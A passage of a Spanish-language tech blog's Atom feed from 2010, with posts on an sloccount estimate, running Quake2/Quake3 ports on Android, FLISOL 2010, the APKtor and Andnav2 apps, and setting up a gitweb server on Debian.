/&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Total Physical Source Lines of Code (SLOC)                = 9,024&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Development Effort Estimate, Person-Years (Person-Months) = 2.01 (24.18)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;(Basic COCOMO model, Person-Months = 2.4 * (KSLOC**1.05))&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Schedule Estimate, Years (Months)                         = 0.70 (8.39)&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;(Basic COCOMO model, Months = 2.5 * (person-months**0.38))&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Estimated Average Number of Developers (Effort/Schedule)  = 2.88&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;Total Estimated Cost to Develop                           = $ 628,570&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;(average salary = $130,000/year, overhead = 2.40).&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En base a los datos anteriores desarrollar nuevamente todo el código que se desarrollo para &lt;a href="http://www.montevideolibre.org/"&gt;montevideolibre&lt;/a&gt; costaría unos 628.570 pesos o sea unos 31mil dolares a 19.70.&lt;br /&gt;Y nos tomaría .07 años y 2.88 desarrolladores.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-8047826169844027766?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/8047826169844027766/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/04/probando-sloccount.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8047826169844027766'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/8047826169844027766'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/04/probando-sloccount.html' title='Probando sloccount'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-2555917563423543580</id><published>2010-04-18T17:07:00.000-07:00</published><updated>2010-04-18T17:13:26.507-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='quake'/><category scheme='http://www.blogger.com/atom/ns#' term='opengl'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Quake2 y Quake3 portados al Android</title><content type='html'>&lt;a href="http://sites.google.com/site/quake2android/_/rsrc/1267354136187/config/app/images/customLogo/customLogo.gif?revision=1" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://sites.google.com/site/quake2android/_/rsrc/1267354136187/config/app/images/customLogo/customLogo.gif?revision=1" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Simplemente&amp;nbsp;genial estos fueron juegos con los cuales&amp;nbsp;perdí&amp;nbsp;muchas horas de mi adolescencia frente a la computadora, el &lt;a href="http://www.idsoftware.com/games/quake/quake2/"&gt;Quake2&lt;/a&gt; lo di vuelta en 4 horas miles de veces y su banda sonora como estaba puro metal!&lt;br /&gt;Ahora resulta que los puedo correr en un&amp;nbsp;teléfono&amp;nbsp;con &lt;a href="http://es.wikipedia.org/wiki/Android"&gt;Android&lt;/a&gt; que genial no?&lt;br /&gt;La&amp;nbsp;cuestión&amp;nbsp;es que &lt;a href="http://es.wikipedia.org/wiki/Android"&gt;Android&lt;/a&gt; viene con las libs de &lt;a href="http://www.khronos.org/opengles/"&gt;OpenGLES&lt;/a&gt; que es la&amp;nbsp;versión&amp;nbsp;de &lt;a href="http://www.opengl.org/"&gt;OpenGL&lt;/a&gt; para sistemas embebidos.&lt;br /&gt;Entonces a&amp;nbsp;raíz&amp;nbsp;de esto y de que Id software tuvo la iniciativa hace unos años de liberar bajo gpl2 el&amp;nbsp;código&amp;nbsp;del motor de quake2 y el motor del &lt;a href="http://www.idsoftware.com/games/quake/quake3-arena/"&gt;Quake3&lt;/a&gt; el cual hoy en&amp;nbsp;día&amp;nbsp;se evoluciono ioquake y es el motor de muchos mods como openarena urbanterror y otros.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Quake2&lt;/b&gt;:&lt;br /&gt;&lt;br /&gt;Para esta version tenemos el proyecto &lt;a href="http://code.google.com/p/quake2android/"&gt;quake2android&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://qrcode.kaywa.com/img.php?s=5&amp;amp;d=http%3A%2F%2Fsites.google.com%2Fsite%2Fquake2android%2Fdownloads%2Fquake2-android-1.8.apk%3Fattredirects%3D0" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://qrcode.kaywa.com/img.php?s=5&amp;amp;d=http%3A%2F%2Fsites.google.com%2Fsite%2Fquake2android%2Fdownloads%2Fquake2-android-1.8.apk%3Fattredirects%3D0" width="200" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Descargamos el archivo apk&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;wget &lt;a href="http://sites.google.com/site/quake2android/downloads/quake2-android-1.8.apk?attredirects=0"&gt;http://sites.google.com/site/quake2android/downloads/quake2-android-1.8.apk?attredirects=0&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$./adb install&amp;nbsp;quake2-android-1.8.apk&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego bajamos los datos del juego del cd original o el demo de la pagina de Id&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$wget &lt;a href="ftp://ftp.idsoftware.com/idstuff/quake2/q2-314-demo-x86.exe"&gt;ftp://ftp.idsoftware.com/idstuff/quake2/q2-314-demo-x86.exe&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$unzip -j q2-314-demo-x86.exe Install/Data/baseq2/pak0.pak&lt;/span&gt;&lt;br /&gt;Copiamos el archivo pak0.pak en el directorio &lt;span class="Apple-style-span" style="color: lime;"&gt;/sdcard/baseq2 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;También&amp;nbsp;la misma&amp;nbsp;aplicación&amp;nbsp;nos permite bajar el demo desde&amp;nbsp;algún&amp;nbsp;mirror.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Quake3&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Para esta&amp;nbsp;versión&amp;nbsp;tenemos el proyecto &lt;a href="http://code.google.com/p/kwaak3/"&gt;kwaak3&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://code.google.com/p/kwaak3/"&gt;&lt;/a&gt;&lt;a href="http://kwaak3.googlecode.com/files/kwaak3_qr.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://kwaak3.googlecode.com/files/kwaak3_qr.png" width="200" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Descargamos el archivo apk&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$wget http://kwaak3.googlecode.com/files/kwaak3.apk&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y lo instalamos con:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$./adb install&amp;nbsp;quake2-android-1.8.apk&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por ultimo podemos utilizar el cd original del quake3 y copiar el directorio baseq3 en el telefono en &lt;span class="Apple-style-span" style="color: lime;"&gt;/sdcard/quake3/baseq3&lt;/span&gt; ahi tenemos que tener un archivo que se llame pak0.pak&lt;br /&gt;Luego tenemos que descargar el patch "Quake3 1.32" y copiar los archivos pak1-pak8.pk3 a &lt;span class="Apple-style-span" style="color: lime;"&gt;/sdcard/quake3/baseq3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Otra forma es con los datos del openarena copiar todos los pak*.pk3 que se encuentran en &lt;span class="Apple-style-span" style="color: lime;"&gt;/usr/share/openarena/baseoa/&lt;/span&gt; a &lt;span class="Apple-style-span" style="color: lime;"&gt;/sdcard/quake3/baseq3&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En&amp;nbsp;conclusión para que el juego funcione optimo en el caso del kwaak3 en el G1 hay que desactivar el sonido esto se debea que el G1 tiene muy poca memoria ram disponible para el SO unos 98mb de los cuales 2mb quedan libres&amp;nbsp;después&amp;nbsp;del booteo.&lt;br /&gt;Esto es debido a que sus 198 MB de ram son shared memory y cada parte del hardware se lleva su poquito.&lt;br /&gt;Otra&amp;nbsp;razón&amp;nbsp;es porque si bien el procesador es de 512Mhz, google :[ limita la velocidad de este a un poco mas de 300Mhz, el&amp;nbsp;día&amp;nbsp;que le instale un cyanogenmod&amp;nbsp;veré&amp;nbsp;la diferencia.&lt;br /&gt;Entonces debido a todo esto el juego corre extremadamente lento con y sin efectos&amp;nbsp;gráficos dando un lag importante entre el teclado y la&amp;nbsp;reacción&amp;nbsp;del macaco, ademas de que los controles no son muy&amp;nbsp;cómodos&amp;nbsp;para poder jugar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El Quake2android corre suavecito como una seda pero&amp;nbsp;todavía&amp;nbsp;falta desarrollo en la parte de control movimiento del macaco y ademas tiene un bug que si no apretamos nada el macaco camina solo, a parte de todo eso se siente como en aquellos viejos tiempos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Esta muy bueno poder probar este tipo de software en sistemas embebidos, hace 10 años&amp;nbsp;atrás&amp;nbsp;ni&amp;nbsp;soñábamos&amp;nbsp;con ello, hoy en&amp;nbsp;día&amp;nbsp;el pc pentium 3 que tengo puede ejecutar con la misma cantidad de frames estos mismos juegos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-2555917563423543580?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/2555917563423543580/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/04/quake2-y-quake3-portados-al-android.html#comment-form' title='6 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2555917563423543580'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/2555917563423543580'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/04/quake2-y-quake3-portados-al-android.html' title='Quake2 y Quake3 portados al Android'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7455458557350656563</id><published>2010-04-15T20:03:00.000-07:00</published><updated>2010-04-16T10:52:47.420-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='flisol'/><category scheme='http://www.blogger.com/atom/ns#' term='software libre'/><title type='text'>FLisol 2010</title><content type='html'>omo todos los años la comunidad de software libre de&amp;nbsp;Uruguay&amp;nbsp;festeja el festival latinoamericano de&amp;nbsp;instalación&amp;nbsp;de software libre e invita a todos a participar en este.&lt;br /&gt;El objetivo de este evento es promover la&amp;nbsp;utilización&amp;nbsp;del software libre como sistemas operativos y como software que se puede instalar en otros sistemas operativos no libres.&lt;br /&gt;Estos&amp;nbsp;serán&amp;nbsp;instalados&amp;nbsp;en las computadoras de los que asistan al evento.&lt;br /&gt;El evento contara contara con charlas y talleres. y el acceso es totalmente libre y gratuito.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://flisoluruguay.info/_media/organizacion:2010:montevideo:grafica:afiche_flisol_2010_version_8.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://flisoluruguay.info/_media/organizacion:2010:montevideo:grafica:afiche_flisol_2010_version_8.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7455458557350656563?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7455458557350656563/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/04/flisol-2010.html#comment-form' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7455458557350656563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7455458557350656563'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/04/flisol-2010.html' title='FLisol 2010'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-6633952635827631576</id><published>2010-04-07T21:34:00.000-07:00</published><updated>2010-04-07T21:34:21.360-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='market'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>APKtor version libre del Market de Android</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://apktor.gotoinit.com/wp-content/uploads/2010/03/home.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://apktor.gotoinit.com/wp-content/uploads/2010/03/home.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://apktor.gotoinit.com/"&gt;APKtor&lt;/a&gt; es una version&amp;nbsp;del sistema de repos de &lt;a href="http://es.wikipedia.org/wiki/Android"&gt;Android&lt;/a&gt;&amp;nbsp;&amp;nbsp;libre licenciada &lt;a href="http://www.gnu.org/licenses/gpl-2.0.html"&gt;GPLv2&lt;/a&gt;.&lt;br /&gt;A diferencia del Market de &lt;a href="http://es.wikipedia.org/wiki/Android"&gt;Android&lt;/a&gt; esta&amp;nbsp;aplicación&amp;nbsp;nos permite conectarnos con multiples repos y poder descargar el software de estos.&lt;br /&gt;&lt;br /&gt;La version actual de esta&amp;nbsp;aplicación&amp;nbsp;es una version compatible con otro manejador de repos el &lt;a href="http://www.aptoide.org/"&gt;aptoide&lt;/a&gt; e incluso esta totalmente traducida al español.&lt;br /&gt;&lt;br /&gt;Para descargar la aplicacion al pc hacer click &lt;a href="http://apktor.gotoinit.com/apktor.apk"&gt;aquí&lt;/a&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://apktor.gotoinit.com/wp-content/uploads/2010/03/apktor.qr_.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://apktor.gotoinit.com/wp-content/uploads/2010/03/apktor.qr_.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/"&gt;&lt;/a&gt;&lt;span id="goog_1565421815"&gt;&lt;/span&gt;&lt;span id="goog_1565421816"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-6633952635827631576?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/6633952635827631576/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/04/apktor-version-libre-del-market-de.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6633952635827631576'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/6633952635827631576'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/04/apktor-version-libre-del-market-de.html' title='APKtor version libre del Market de Android'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-7217190894335455246</id><published>2010-04-06T22:17:00.000-07:00</published><updated>2010-04-06T22:17:19.097-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='gps'/><category scheme='http://www.blogger.com/atom/ns#' term='andnav'/><category scheme='http://www.blogger.com/atom/ns#' term='android'/><title type='text'>Andnav2 sistema de navegacion para Android</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://t1.gstatic.com/images?q=tbn:gbahOxaMFT4iPM:http://imagenes.sftcdn.net/es/scrn/74000/74585/2t_andnav_new_thumb.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://t1.gstatic.com/images?q=tbn:gbahOxaMFT4iPM:http://imagenes.sftcdn.net/es/scrn/74000/74585/2t_andnav_new_thumb.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;Andnav2 es la continuacion del proyecto &lt;a href="http://andnav.org/"&gt;Andnav&lt;/a&gt; el cual es un proyecto en el que se intenta brindar un sistema&amp;nbsp;de&amp;nbsp;navegación(GPS)&amp;nbsp;completo y libre licenciado &lt;a href="http://www.gnu.org/licenses/gpl.html"&gt;GPLv3&lt;/a&gt; para la plataforma &lt;a href="http://es.wikipedia.org/wiki/Android"&gt;Android&lt;/a&gt;.&lt;br /&gt;Su primer version utilizaba mapas de googlemaps los cuales tienen el problema de que estan licenciados.&lt;br /&gt;En cambio la nueva version utiliza mapas del proyecto &lt;a href="http://www.openstreetmap.org/"&gt;openstreetmap&lt;/a&gt; los cuales son mapas libres y cualquiera puede utilizarlos copiarlos editarlos y hacer lo que quiera ya que tienen licencia &lt;a href="http://creativecommons.org/licenses/by-sa/2.0/"&gt;Creative Commons Attribution-Share Alike 2.0&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Una de las caracteristicas mas importantes que tiene es la navegacion offline el programa permite precargar los mapas en la memoria sd de un telefono con &lt;a href="http://es.wikipedia.org/wiki/Android"&gt;Android&lt;/a&gt; y luego poder usarlos sin conexion de datos, esta es una&amp;nbsp;característica&amp;nbsp;la cual yo considero de vida o muerte para que quiero un gps si no puedo saber donde estoy ni ver a donde voy como en el caso del cliente de &lt;a href="http://maps.google.com/"&gt;googlemaps&lt;/a&gt; que no soporta esta&amp;nbsp;característica.&lt;br /&gt;&lt;br /&gt;&lt;img height="200" src="http://groups.google.com/group/andnav/web/AndNav1.jpg" width="133" /&gt;&lt;img height="200" src="http://groups.google.com/group/andnav/web/AndNav2.jpg" width="133" /&gt;&lt;br /&gt;&lt;br /&gt;Otras&amp;nbsp;características&amp;nbsp;muy importantes son la&amp;nbsp;integración&amp;nbsp;con la&amp;nbsp;brújula(compás)&amp;nbsp;que en algunos modelos viene integrada en el hardware del telefono, la cual nos muestra sobre el mapa la&amp;nbsp;dirección&amp;nbsp;en la cual nos movemos y otra&amp;nbsp;característica&amp;nbsp;es eyes free la cual nos sintetiza en forma de voz por donde estamos transitando.&lt;br /&gt;Incluso el sistema de&amp;nbsp;navegación&amp;nbsp;es inteligente y nos puede hacer rutas para ir transitando y evadir accidentes o&amp;nbsp;catástrofes&amp;nbsp;siempre y cuando tengamos&amp;nbsp;conexión&amp;nbsp;de datos y dichos datos disponibles en nuestra&amp;nbsp;posición&amp;nbsp;geográfica.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.andnav.org/sys/versions/andnav2/AndNav2_latest.apk" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://qrcode.kaywa.com/img.php?s=5&amp;amp;d=http%3A%2F%2Fwww.andnav.org%2Fsys%2Fversions%2Fandnav2%2FAndNav2_latest.apk%09" width="200" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8269681088643654503-7217190894335455246?l=dclavijo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dclavijo.blogspot.com/feeds/7217190894335455246/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://dclavijo.blogspot.com/2010/04/andnav2-sistema-de-navegacion-para.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7217190894335455246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8269681088643654503/posts/default/7217190894335455246'/><link rel='alternate' type='text/html' href='http://dclavijo.blogspot.com/2010/04/andnav2-sistema-de-navegacion-para.html' title='Andnav2 sistema de navegacion para Android'/><author><name>Daedalus</name><uri>http://www.blogger.com/profile/05642614570059712077</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/__2CpOkNZ4-k/S4luF-1HNBI/AAAAAAAAARQ/7TX8VYeugzc/S220/daedalus2027@gmail.com.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8269681088643654503.post-632461699797212341</id><published>2010-03-31T20:27:00.000-07:00</published><updated>2010-03-31T20:29:11.787-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='debian'/><category scheme='http://www.blogger.com/atom/ns#' term='git'/><category scheme='http://www.blogger.com/atom/ns#' term='kernel'/><category scheme='http://www.blogger.com/atom/ns#' term='how to'/><title type='text'>Instalando un servidor Git</title><content type='html'>Como tenia que bajarme el codigo del &lt;a href="http://kernel.org/"&gt;kernel&lt;/a&gt; y no queria bajarme el tarball de mas de 60mb por cada version, logre instalarme un servidor git en mi servidor &lt;a href="http://debian.org/"&gt;debian&lt;/a&gt; con su interfaz web con una gia de &lt;a href="http://www.howtoforge.com/how-to-install-a-public-git-repository-on-a-debian-server"&gt;howtoforge&lt;/a&gt;.&lt;br /&gt;Que es &lt;a href="http://es.wikipedia.org/wiki/Git"&gt;git&lt;/a&gt;: es un sistema de control de versiones o cambios y de&amp;nbsp;distribución&amp;nbsp;de&amp;nbsp;código&amp;nbsp;de fuente.&lt;br /&gt;Fue inventado por &lt;a href="http://es.wikipedia.org/wiki/Linus_Torvalds"&gt;Linus Torvalds&lt;/a&gt; para poder distribuir mejor los cambios en el&amp;nbsp;código&amp;nbsp;de fuente del &lt;a href="http://kernel.org/"&gt;Linux kernel&lt;/a&gt; y poder llevar un&amp;nbsp;histórico&amp;nbsp;de estos.&lt;br /&gt;&lt;br /&gt;Para eso hacemos:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#apt-get install git git-core gitweb&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Luego editamos el archivo de configuracion del apache &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/apache2/conf.d/gitweb &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;&amp;lt;directory /var/www/git"&amp;gt;&lt;br /&gt;Allow from all&lt;br /&gt;AllowOverride all&lt;br /&gt;Order allow,deny&lt;br /&gt;Options ExecCGI&lt;br /&gt;&amp;lt;files gitweb.cgi=""&amp;gt;&lt;br /&gt;SetHandler cgi-script&lt;br /&gt;&amp;lt;/files&amp;gt;&lt;br /&gt;&lt;br /&gt;DirectoryIndex gitweb.cgi&lt;br /&gt;SetEnv  GITWEB_CONFIG  /etc/gitweb.conf&lt;/div&gt;&lt;br /&gt;Luego la configuracion del propio cgi &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/gitweb.conf &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;$projectroot = '/var/www/gitrepo/';&lt;br /&gt;$git_temp = "/tmp";&lt;br /&gt;#$home_link = $my_uri || "/";&lt;br /&gt;$home_text = "indextext.html";&lt;br /&gt;$projects_list = $projectroot;&lt;br /&gt;$stylesheet = "/git/gitweb.css";&lt;br /&gt;$logo = "/git/git-logo.png";&lt;br /&gt;$favicon = "/git/git-favicon.png";&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Ahora configuramos el arranque del daemon &lt;span class="Apple-style-span" style="color: lime;"&gt;/etc/sv/git-daemon/run&lt;/span&gt;, este daemon no arranca con el sistema init tradicional (&lt;a href="http://en.wikipedia.org/wiki/UNIX_System_V"&gt;SysV&lt;/a&gt;) sino con &lt;a href="http://smarden.org/runit/"&gt;runit&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="code"&gt;#!/bin/sh&lt;br /&gt;exec 2&amp;gt;&amp;amp;1&lt;br /&gt;echo 'git-daemon starting.'&lt;br /&gt;exec chpst -ugitdaemon \&lt;br /&gt;/usr/lib/git-core/git-daemon --verbose --base-path=/var/www/gitrepo/&lt;/div&gt;&lt;br /&gt;Movemos los archivos de la instalacion de gitweb a un directorio en &lt;span class="Apple-style-span" style="color: lime;"&gt;/var/www/&lt;/span&gt; esto es ideal para servidores de desarrollo:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#mv /usr/share/gitweb/* /var/www/git&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#mv /usr/lib/cgi-bin/gitweb.cgi /var/www/git&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Cremos nuestro directorio de repos, lo mas sano es un directorio que no sea el mismo &lt;span class="Apple-style-span" style="color: lime;"&gt;/var/www/git&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#mkdir /var/www/gitrepo/&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#mkdir /var/www/gitrepo/testrepo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Le damos permisos al grupo www-data&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#chown www-data:www-data /var/www/gitrepo/testrepo&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ahora o bien podemos crear un repositorio desde cero o bien clonar uno:&lt;br /&gt;&lt;br /&gt;Para crearlo desde cero:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$cd /var/www/gitrepo/testrepo&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$echo "Una pequeña descripción de tu proyecto" &amp;gt; .git/description&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git config --global user.name "Tu nombre"&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git config --global user.email "tu@algunservidor.com"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git init&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git add alguna_archivo_de_codigo.c&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git commit -m "Commit Inicial."&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;o para clonarlo:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$git clone git://algunservidor.com/algunrepo.git&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;$touch .git/git-daemon-export-o&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Por ultimo reiniciamos el git-daemon&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="color: lime;"&gt;#sv stop git-daemon &amp;amp;&amp;amp; sv start git-daemon&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Y el 